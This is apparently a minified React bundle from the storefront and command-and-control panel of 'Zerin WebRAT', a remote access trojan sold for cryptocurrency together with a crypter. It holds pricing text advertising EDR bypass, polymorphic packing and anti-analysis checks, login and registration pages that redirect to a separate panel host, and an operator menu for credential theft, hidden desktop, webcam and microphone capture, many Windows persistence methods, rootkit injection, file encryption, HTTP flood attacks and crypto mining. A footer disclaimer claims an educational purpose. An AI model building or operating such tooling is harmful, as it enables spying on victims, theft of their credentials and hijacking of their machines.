py-5",children:s.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:s.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),s.jsxs("div",{className:"group relative",children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[s.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),s.jsxs("div",{className:"mt-8 text-center space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),s.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),s.jsxs(ot,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Started"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function l5(){const e=p.useRef(null);return p.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function a(){t.width=window.innerWidth,t.height=window.innerHeight}a(),window.addEventListener("resize",a);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",a)}},[]),s.jsxs(s.Fragment,{children:[s.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),s.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const $g="zerin.pro",c5="zerpanel-67ontoplol.top";function hx(){return window.location.hostname===$g||window.location.hostname===`www.${$g}`}function DA(){const e=rr(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await NE({username:t,password:r}),hx()){const f=et();if(f){window.location.href=`https://${c5}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof ai?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(l5,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[a&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:a})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),s.jsx("div",{className:"auth-stagger-5 pt-1",children:s.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",s.jsx(ot,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function RA(){const e=rr(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(""),[u,d]=p.useState(""),[f,m]=p.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==a){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}m(!0);try{if(await SE({username:t,password:r,license_key:l}),hx()){const g=et();if(g){window.location.href=`https://${c5}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof ai)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{m(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(l5,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:u})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),s.jsxs("div",{className:"auth-stagger-5",children:[s.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"confirmPassword",type:"password",value:a,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),s.jsxs("div",{className:"auth-stagger-6",children:[s.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),s.jsx("div",{className:"auth-stagger-7 pt-1",children:s.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",s.jsx(ot,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Bc(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),a=Math.floor(i/60),o=Math.floor(a/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:a<60?`${a}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function ym(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function $A(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function wo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function jo(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function Ws(e){return e.slice(0,8)}function u5(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function BA(e){return`data:image/bmp;base64,${e}`}function FA(e){return e.startsWith("Qk")}const Cn="w-3.5 h-3.5 flex-shrink-0",Xt={eye:s.jsxs("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:s.jsx("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:s.jsxs("svg",{className:Cn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:s.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:s.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},WA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),UA=new Set(["remove","exit","uninstall","shutdown"]),VA=new Set(["ban"]),Vf=[{label:"Monitoring",icon:Xt.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:Xt.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:Xt.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:Xt.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:Xt.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:Xt.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:Xt.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:Xt.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:Xt.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:Xt.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:Xt.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],HA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},KA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},qA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},YA=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:a="alive",agentName:o})=>{const l=p.useRef(null),c=p.useRef(null),u=p.useRef(null),[d,f]=p.useState(null),[m,h]=p.useState({x:e,y:t}),[x,g]=p.useState(""),[y,v]=p.useState(-1),[b,w]=p.useState(-1),[j,k]=p.useState(!1),S=p.useRef(null),N=a==="dead",z=x.trim()?Vf.map($=>({...$,commands:$.commands.filter(L=>L.label.toLowerCase().includes(x.toLowerCase())||L.key.toLowerCase().includes(x.toLowerCase()))})).filter($=>$.commands.length>0||$.label.toLowerCase().includes(x.toLowerCase())).map($=>({...$,commands:$.commands.length>0?$.commands:Vf.find(L=>L.label===$.label).commands})):Vf;p.useEffect(()=>{if(n&&l.current){const $=l.current.getBoundingClientRect(),L=window.innerWidth,W=window.innerHeight;let B=e,U=t;e+$.width>L&&(B=L-$.width-8),t+$.height>W&&(U=W-$.height-8),h({x:Math.max(4,B),y:Math.max(4,U)})}else 